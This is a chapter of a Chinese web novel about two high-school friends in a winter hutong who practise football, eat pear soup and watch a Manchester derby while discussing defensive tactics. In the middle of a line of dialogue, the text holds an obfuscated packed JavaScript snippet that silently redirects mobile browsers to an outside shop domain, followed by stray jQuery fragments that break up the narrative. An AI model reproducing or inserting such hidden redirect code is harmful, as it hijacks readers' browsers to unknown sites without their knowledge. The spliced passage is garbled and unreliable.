天色暗得越来越早，池静明抬头看着体育场上空打下来的灯光，盐粒儿大小的雪花模糊了视线。今年冬天的初雪小，落在地面上就化了，没留下半点儿痕迹。
他戴好毛线帽子从更衣室拎着书包走出。由于着急回家写作业，池静明无视了背后杜康的喊声，脚下加快了步伐，顺手把围巾在脖子上多绕了一圈。
“你赶着去干嘛呀？”杜康蹬着自行车，追着池静明的背影。
“写作业。”池静明扭过头，哈气把他的脸遮了个七七八八。
“大周六的，有这么急吗？”杜康好不容易才趁着红绿灯撵上。
“今天作业写完，明天晚上才有空看球啊！”池静明一脸不可置信地看向杜康，才发现对方也用同样的表情看着自己，“怎么了？”
“你要看球啊？”杜康凑近了问道。
“明天晚上曼城打曼联，是不是得看？”
“嚯！太阳打西边出来了，夏逸梦告诉你的？”
“是崔雄心。”这是杜康给崔浩然起的外号，私下里池静明也这么叫。灵感就来自那位伤透了夏逸梦的前阿森纳队长“范佩西”，范雄心。
今天对位训练后，池静明就听着崔浩然和常盛聊起周末的曼彻斯特双雄大战，二人聊得起劲，不免让池静明都好奇起来。
“他肯定要看啊，看曼联怎么一雪前耻。对了，还记得巴洛特利吗？”杜康问道，池静明想起那奶油条脑袋，便点了点头，“去年曼市德比，曼城踢了曼联个6-1，巴洛特利第二十分钟进球之后，就把球衣撩起来，露出胸前几个大字！”
“哪几个字？”池静明深知这位“巴神”也是个爱抽风的主。
就看杜康猛踩几下脚镫子，然后双手松开自行车的把手，同样掀起外套，大声地吼出一句，“WhyAlwaysMe？”
眼前这位也半斤八两。
自行车滑入八宝坑胡同，雪也停了，冷风呼呼地吹，把池静明冻得直打哆嗦。他真恨透了冬天。
回到家，池静明也没能从严寒中逃离出来。他把自己扔进沙发，伸手把帽子扯下来抱在怀里，然后穿着鞋就躺下了。
他盯着铁皮天花板的一处锈斑，开始理解了为什么人总是说“都是没钱闹得”。
没钱？池静明又开始找补，他家可还算不上穷，顶多是为了省点儿电费，把电暖器加热的时间定到晚上十点，以至于每天睡觉前都是池家最冷的时候。
小时候可不这样，池静明闭着眼睛开始回忆儿时的八宝坑胡同。
每到快要入冬，父亲池飞就要借邻居马爷爷的板车，拉着自己去小学旁边的煤厂买煤。池飞装车，池静明就数起蜂窝煤上的窟窿眼儿，整整十二个。
等爷俩把煤拉回死胡同，母亲唐静也早就把煤棚子腾好了，再卸煤装棚，冬天前最重要的事情就算齐活。
那时候冬天还没有PM2.5的概念，池静明只知道，火不能断，断了就要重新点煤笼火。
可惜，煤炉子里只能燃四块蜂窝煤，于是池静明的童年里，父亲池飞到了冬天，从没睡过一个整觉。这么想，倒还要感谢煤改电政策。
终于，D市的冬天在霾和雪中交替，煤炉子的排气管插入天空，吐着灰白色的温暖的代价。
而池静明总是穿着姥姥织的毛衣毛裤，臃肿地跑在胡同中，企图追到蓝天。
很快煤厂关门了，煤炉子卖废品了，煤棚子改成卫生间又在去年违建拆掉了。池静明儿时的冬天结束了。
家里搬来了宽大的电暖器，造价不菲，补贴后仍要一千块。但池飞高兴的晚饭都加了杯酒，不用再起夜添煤，电闸拯救了他的睡眠。
池静明躺在沙发上做起梦来。他梦见邻居马爷爷又在计较儿子烧煤浪费，于是趁着天不刮风，太阳探头的日子，在死胡同尽里面挑选空地，铺上塑料布，用脚把蜂窝煤踩碎。
小池静明就蹲在跟前儿，看着煤渣里冒出些闪着光的颗粒，用手去捏，只沾得两手黑。
爷爷把煤渣重新和上黏土，再加点儿水搅合均匀了，铺在塑料布上塑形，划线，便形成了更小的煤块。
小池静明问：煤小了能烧得更暖和吗？那老头儿听罢便跳起来骂道：暖和个屁，只当能省两个子儿就算了不得的了。
于是池静明讨厌冬天，讨厌父亲不完整的睡眠，讨厌突然冷却的暖气管，也讨厌厚重的毛衣毛裤，把自己勒得喘不上气。
“儿子，你怎么在这儿睡着了？”母亲唐静的声音打断了爷爷的脏话，池静明从梦里惊醒。
客厅的电暖器已经开始加热，池飞正在挂羽绒服，唐静走去厨房，池静明愣在沙发里回神，本来该奋笔疾书写作业的点儿，他却睡了个不算舒服的觉。
随便吃了两口剩饭，池静明坐回到书桌前重新戴上手套。拿出作业本，变扭地夹住签字笔写起草稿来。
数学题在寒冷的空气中变得有点儿难啃，自然就从周六写到了周日。
眼下的冬天，寒冷已然算不得什么，池静明闹心的是他半推半就加入的足球队。
球队和他散装的人生差不多，哪怕队友的水平参差不齐，哪怕硬凑上自己也才整整十一个人，大家都没半个说过放弃。
谁都没给自己留退路。
也挺牛逼的。池静明算是夸了自己一句。
只是近来副队长方则秋不知怎么的，不仅在更衣室偷偷骂自己踢得烂，在场上更是不演了，对位训练中把池静明生生抢断到自闭。
憋得池静明跑去滑铲他，二人叠着就摔了个狗吃屎，倒霉的还是被压在下面的池静明。
赵恒一见状，连发了几个护球视频，让池静明在家没事和墙脚练练，可他估计也没想到池静明连个球都没有。好在足球嘛，杜康有的是。
周日下午不刮风，池静明穿着球鞋跑去杜康家喊门儿。杜奶奶没在，只剩杜康躺在床上玩手机，池静明急着练球推门就进，屁股后头带着股冷风。
“你进门能不能言语声啊！”杜康还穿的半袖，被冻得打了个寒噤。
池静明坐在床边，看着床头旁的电暖器：“你屋里真热。”
杜康套上卫衣，在衣柜里翻着袜子：“那可不，新款的就是热。”
比自己的冰窖好了不知多少倍，池静明敞开羽绒服外套，四下看着杜康的小屋，眼睛瞥到床上的手机屏幕，原来在研究魔兽世界。
“您这无事不登三宝殿的，”杜康抢回自己的手机，蹲下身在床底找着什么，“有事求我？”
“练球。”池静明说罢想起自己那拙劣的护球技术，摸了摸头。
“方则秋这么大谱呢？”杜康从床底捞出个足球，气还算足，“你被抢怕了？”
“那倒不至于，”池静明先半步推开屋门，“他不抢我，难道还等着被对手抢啊。”
杜康把球往地上一撇，还没等落地，右脚尖抬起将球接住，双脚交替着边颠球边往大院走去，“我就猜你今天肯定来找我练球，”杜康用大腿接住足球，接着把球顶在了头上，“昨天你少说也得被方则秋抢断了十五次吧。”
池静明把手从羽绒服口袋中掏出来：“你有这闲心数数，就不能帮我解围？”
“瞧您这话说的，我可惹不起他。”
“哦，那你惹得起我……”池静明说得漫不经心，他把球从杜康头顶夺走，放在地上，用不太熟练的拉球动作向后带去。
杜康倒也不急着抢，而是半个身位贴上了来：“你有没有观察过方则秋出脚的习惯？”
池静明猛地把球停在脚边，仔细回忆了起来：“他习惯用右脚把球往外侧拨。”
“池子，论学习你铁定比我强得多，但论踢球，还得我指点你，”杜康伸开手，侧身拦在池静明身前，压制着池静明的拿球脚：“你看，方则秋踢球就是用他的身位去卡你的惯用脚，然后从你脚下，往你的非惯用脚后方偷球。”
池静明低头去看杜康的出脚，几乎是完美复刻了方则秋的动作，足球瞬间就移动到了杜康的右脚下。
“那我就先把球往我的外侧拨？”池静明又再一起带球，在杜康上前抢的同时，用脚背往右甩，转了个身，“再背着你，护住球？”
“脑子转得真快，”杜康眼见球跑了，用力地撞向池静明给他拱到路边，将球又抢了下来，“不过，你还是嫩了点儿，得多注意啊。”
“注意什么？你这种贱招？”池静明踉跄着又去追，气不打一处来。
“我这可是合理冲撞，”杜康带着球顺着小胡同往前冲，时不时回头看看池静明，“接下来你该怎么办？”
“我接着追呗……”
“错喽！”杜康站在胡同拐角的电线杆旁，把球踩在脚下，“你该继续回防，然后去盯教练安排你盯防的人。”
池静明点了点头，踱着步子靠近电线杆：“行，但眼下就咱俩人，我只能盯你。”说罢他用力把杜康脚下的球踢跑，朝着胡同深处跑去。
“哎！池静明！你怎么学坏了你！等等我！”杜康下意识伸腿去勾，哪知池静明再度把球踢向远处，借着小胡同只有展开双臂的宽度，把杜康卡在身后。
“你知道你踢球什么习惯吗？”池静明反问道。
“我？”杜康从他胳膊下钻过，哪知球又被踢远了，“你说说？”
“你踢球呀，话太多！”
阳光钻过云层和干枯的树杈，把二人的影子投在灰砖墙上。
池静明不断将球踢过由垃圾桶、自行车和聊天老太太组成的巷子，在好几声“看着点儿别撞着人”的骂声中，甩开杜康在身后的穷追不舍。
他甚至找回了些儿时，和那帮如今各奔东西的伙伴一同玩闹的快乐，跑过这胡同中的每条小路口，看着熟悉的门牌号儿，池静明脚下的动作也麻利了起来。
他曾经就是如此这般踢着漏气的皮球，甩开同样来自杜康的拼抢。
“歇……歇会儿……”杜康眼看就到自家门口便连连喊停。估摸着八宝坑他们都跑了不止三圈，池静明羽绒服都穿不住了，脑袋顶直冒热气。
把球端在手上，二人进院子。鸭梨的味道从厨房传来，杜康直着就凑了过去，原来是杜奶奶在用砂锅煮梨水。
“你俩也不看看点，五点多了还不回，”杜奶奶伸手用筷子敲了下杜康的脑袋，“累着人家池子怎么办！”
杜康委屈地用下巴颏指着池静明：“明明是他请我陪练的，怎么是我累着他。”
“池子，你怎么也跟着去踢球了？”杜奶奶掀起砂锅盖，香味更浓了。
“奶奶，踢球不好吗？”池静明靠在厨房门边，似笑非笑地望向正流哈喇子的杜康。
“哎哟喂！能说不好吗？”杜奶奶打量着，才发现那双白色的球鞋正在池静明的脚上，“我说什么来着，这鞋还得是池子穿，好看！”说罢杜奶奶眉飞色舞地端着碗，挑大块的梨装了进去，“今儿个天儿冷，炖了点儿梨水，池子你尝尝。”
杜康愣在原地：“奶，我的呢？鞋给池静明，梨水也给他！”
“自己不会盛啊？”奶奶把勺一递，示意杜康自食其力。池静明偷着背过身，把球丢到院儿里，端起梨汤就进了屋。
“你倒没把自己当外人，”杜康紧随其后，见池静明坐了自己的椅子，只得掏出个折叠凳坐在旁边，“怎么说，晚上还回家吃剩饭？”
池静明用筷子夹着鸭梨咬了下去：“你有什么高见？”
“留下来看球呗，饭，我管了。”杜康什么都没动，只死盯着池静明。
想起自家冰箱里的剩饭，池静明突然有点儿动心：“球赛可是晚上九点半才踢。”
“那怎么了，你不能陪我学会儿习？”
床头的电暖器还冒着炽热的温度，池静明穿着羽绒服又喝着滚烫的梨汤，额头自然冒出薄薄的汗。
他在自己冰冷的被窝和这热情的邀请中，不到半秒就脱口而出：“成啊。”
心安理得地吃光了整碗梨，池静明把羽绒服随手扔到杜康的床尾，翻开本练习册就要开讲，杜康见状直接把自己那碗也推给他，企图打住池静明要传授知识的嘴。
池静明没上当，啃完又一碗后从化学转战物理。杜奶奶的绝技茴香馅饼都没堵住他的嘴，边吃边讲，把物理题的过程绘声绘色说得口水直飞，倒是见杜康有点儿后悔留他到夜里了。
好在赛前观瞻八点半就开始了，杜康迫不及待地合上练习册，打开衣柜里的电视机，解说声音一响，他终于松了口气。
“可算是不用再琢磨力学了，”杜康脱下卫衣躺进被窝里，“今天这场绝对精彩，曼联有了范佩西，曼城再想赢就没那么简单了。”
池静明坐在马扎上守着床头的热乎气儿，瞥见了窗外杜奶奶那屋儿灭了灯，抢过遥控器把声音调小了些，“奶奶睡了，今天晚上踢得再怎么样也别喊！”
“啊？”杜康拿着手机正给夏逸梦发微信，听到这无理的要求连忙抬头道，“看球不出声？你当这是看电影啊？”
“你不会光张嘴啊，”池静明一句就给他噎了回去，“别鬼哭狼嚎的。”
“成成成，你猜今天几比几？”杜康把话题引回球赛，“曼城有阿奎罗、巴洛特利、亚亚图雷；曼联有……”
“有范佩西。”池静明抢答。
“还有鲁尼，”杜康又忙着给崔浩然发微信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738640|209002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，“崔雄心说今晚绝对是要赢的节奏。”
“不过今天我可没空看前锋进球，”池静明指了指电视屏幕上的首发阵容，“我想看的是这俩人。”那正是曼城的双后腰。
在足球场上进球毋庸置疑是最重要、最精彩的，但作为二十二个人的比赛，足球如何通过传递，最终送进对手大门，这才是池静明此刻最关心的事儿。
他之前一直听从韩哲学的指挥，没有真正思考过自己的位置和作用，甚至在被方则秋抢断时，脑子里出现的不是补位，而是把球抢回来。
杜康说得没错，球丢了，固然是要去追的，但追的是球吗？
追的是对方的进攻路线，这不是为了弥补丢球的过失，而是真正明白后腰的职责所在。
主裁判哨声吹响，比赛的头十分钟绝对是曼城的围剿，不仅后腰在发力，连边后卫都插上送出好球。
池静明脑中浮现出战术板，把曼城队的4-2-3-1阵型和曼联的4-4-2平铺开来，往常看起来毫无章法的比赛，此刻排兵布阵则清晰了起来。
第十六分钟曼联后防起脚，找到中场的范佩西，此时曼城还压在进攻端没来得及回防，后场空档大得吓人。
曼联边锋瞬间插上，趁着对手后卫还没归位，将球传给曼联头号射手鲁尼。
鲁尼面前依然只剩最后两位防守队友，宽阔的球场全是空档，他稍作调整直接打门，球自然是滚进了对手曼城的大门。
曼联1-0曼城。
池静明看得眼花缭乱，险些跟不上进攻的节奏。回过头就见床上的那位挥舞着双臂，咬着后槽牙，正在无声地“庆祝”：“你这模样怎么这么难受啊。”
“你不是让我别出声。”
“我是让你小点儿声。”
杜康立马开喷道：“哦，你看这曼城的后防忒慢了，都等对手蹚到禁区里，才开始回防。”
“那后腰的位置就该提前遏制住对方前锋？”
“能卡在后腰这里肯定最好，但曼城的后防空档太大，防得住一个扛不过俩，等着吧，还得失球！”
杜康说得没错，随后没多久，曼联的范佩西就再次抓到对手后防的盯人失误，将球过顶传给同伴，形成了单刀。
“哼哼，知道为什么夏逸梦生气了吧，”杜康跷着二郎腿，惋惜着单刀被扑，“范佩西这种最难防。首发上虽然是他顶在前头的大前锋，但跑动起来，他后撤的这么深，更像个前腰或者是影子前锋。传的这几脚，基本上都打穿了曼城的中后场，漂亮！”
曼城中场集体哑火，但前锋阿奎罗却面对五个曼联后卫仍能起脚，池静明连连摇头：“我觉得，这种个人素质突出的才最难防。”
“那就断他上游啊，盯不住他，还盯不住给他传球的中场吗？”
当然曼联的后防也不是尽善尽美，他们站位太集中，边路空间频频被侵犯。
终于熬到第六十分钟，这次轮到曼联球门前混战，无人盯防的曼城中场站在点球点附近，一脚定乾坤。
曼联1-1曼城。
这还不算完，十多分钟后曼联又犯了同样的错误。
曼城的角球开出，禁区内的混战中足球被传回后点，身边无人的曼城后卫站在禁区线上把球打进。
曼联1-2曼城。
杜康已经在床上扭成了麻花，每当看到这种盯防失误，他都浑身刺挠的受不了：“这球就是曼联自己助攻的！”
好在伤停补时曼联获得了前场位置绝佳的定位球机会，范佩西势大力沉的搓射，打在曼城球员身上，以极度刁钻的角度滑进了球门。
“范雄心！绝杀！牛……”杜康从床上鱼跃冲顶，池静明见他要喊，连忙摁着他的肩膀，连带着后面的脏字也消了音。
池静明坐在床边，看着欢庆的球员们，脑袋里面被轰炸了一波又一波，终于叹了口气，低下了头。
“绝杀啊！池静明！”杜康站在床上，指着他道，“你这是什么表情？”
“你可真是个骗子，”池静明也跳起身来，压着嗓门质问道，“踢足球这么难，你拉我这个新手进队？”
“啊？”
“进攻、防守、由守转攻、由攻转守，还得防着技术牛逼的前锋，和给前锋递刀的中场，好不容易就地反抢，还要扛过后卫，在不到半秒的时间里找到自家前锋，并把球安全准确的传出……”池静明深深地叹了口气，“我他妈真办不到啊！”
他说完杜康也傻了：“你拿自己和英格兰超级联赛的球员比啊？”
“你有病啊，我那是比较吗？”池静明叉着腰眯起眼睛，“我是在找可能性！可能赢的可能性！整个东方区，哪个球队我们打得过？”
“池子，你还是没明白，”杜康盘腿坐下，“足球场上技术占一半儿，战术占另一半儿。方则秋盯你的原因不光是逼你学会护球，轮抢你抢得过谁啊？你要猜到他要干什么，去堵他的下一步，不要只盯着眼跟前这档子事儿。”
池静明仿佛被点了穴，望着杜康的脸半晌没说话。
“怎么？不懂啊？”
“我……大概明白了。”
池静明脑海中出现韩哲学的指挥，他总是挥舞着手臂，大声喊着，告诉池静明该往哪走，该去防谁。
“球场上不能当瞎子也不能做哑巴，下周方则秋再抢你的球，护住是第一步，尽快叫队友接应是第二步，注意到要去防守是第三步。池子你记住，再专业的球员在场上拿球的时间，总共也不过五分钟，脚下没球的八十五分钟你看哪、往哪跑才最重要。”
杜康说得唾沫直飞，池静明突然发现对方并不是没用脑子踢球，相反杜康对足球的理解是非常立体的，他不禁感叹了句：“你这不挺明白的吗？”
“我当然明白，”杜康扬着下巴，“初中我可是校队的首发前锋，这点儿事闹不明白也打不进市前八啊。但今非昔比了……”
“怎么高中队不够你施展？”
“踢前锋的最重要的是不浪费机会，”杜康惋惜道，“可我现在没什么机会。”
“还没机会？是方则秋不给你做球了？还是裴超仁跟你抢了？”池静明以为他是在抱怨。
“你头次去看我踢球，我就和你说过了，没人和我来电。”
正是年初，天寒地冻的和今天一样。池静明骑车路过桂街角落的小型足球场，眼看着杜康和队友鱼跃冲顶，谁都没有顶到球，只撞向了对方的脑袋瓜。
他了然地点点头，脑海里还是那滑稽的场面：“可惜了，球队里现在的中场就这么几个，你没得选。”
“我有的选啊！”杜康用手指着池静明，“我选的你！”